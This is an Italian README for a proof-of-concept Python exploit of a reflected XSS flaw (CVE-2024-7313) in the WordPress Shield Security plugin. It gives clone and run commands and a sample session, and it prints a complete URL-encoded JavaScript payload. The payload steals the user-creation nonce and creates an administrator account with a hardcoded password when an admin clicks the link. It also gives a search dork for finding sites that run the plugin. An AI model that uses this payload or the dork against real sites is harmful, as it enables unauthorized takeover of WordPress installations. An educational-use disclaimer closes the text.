
Prova di concetto personalizzata su XSS per la creazione non autorizzata di account amministratore tramite il plugin WordPress Shield Security < 20.0.6
Questo repository contiene uno script PoC in Python progettato per sfruttare una vulnerabilità di XSS riflesso nel plugin Shield Security per WordPress, che interessa le versioni precedenti alla 20.0.6. La vulnerabilità (CVE-2024-7313) consente a un attaccante di creare un link malevolo personalizzato per il target; quando un amministratore ci clicca sopra, l'exploit crea un account amministratore non autorizzato tramite XSS. Lo script rileva automaticamente le installazioni vulnerabili e genera un payload per sfruttare la vulnerabilità.
requests e beautifulsoup4Installa le librerie richieste usando:
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <target_url>
Esempio:
python3 exploit.py http://127.0.0.1
Dopo aver inserito i dettagli necessari per il nuovo utente amministratore (nome utente, email, nome, cognome), lo script genererà un URL di payload. Puoi incollare questo URL nel tuo browser per eseguire l'attacco XSS riflesso, che creerà un nuovo utente amministratore nel sito WordPress.
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // | ___/ #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test
Using hardcoded password: HaxorStrongAFPassword123!!
Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
Una volta visitato l'URL del payload XSS generato, l'exploit verrà eseguito e verrà creato un nuovo utente amministratore sul sito WordPress target.
Puoi accedere al menu di aiuto eseguendo:
python3 exploit.py -h
Per identificare i siti web che utilizzano il plugin vulnerabile, puoi usare il seguente dork:
inurl:"/wp-content/plugins/wp-simple-firewall/"
Questo ti aiuterà a trovare siti web che hanno installato il plugin Shield Security. Tieni presente che il numero di versione non è visibile pubblicamente, quindi potrebbe essere necessario un test manuale.
wp-login.php.Questo strumento è destinato esclusivamente a scopi educativi e dovrebbe essere utilizzato solo in ambienti di test di penetrazione autorizzati. L'accesso non autorizzato o l'uso di sistemi che non possiedi è illegale. L'autore non è responsabile per qualsiasi uso improprio di questo strumento.
Questo progetto è concesso in licenza secondo i termini della Licenza MIT.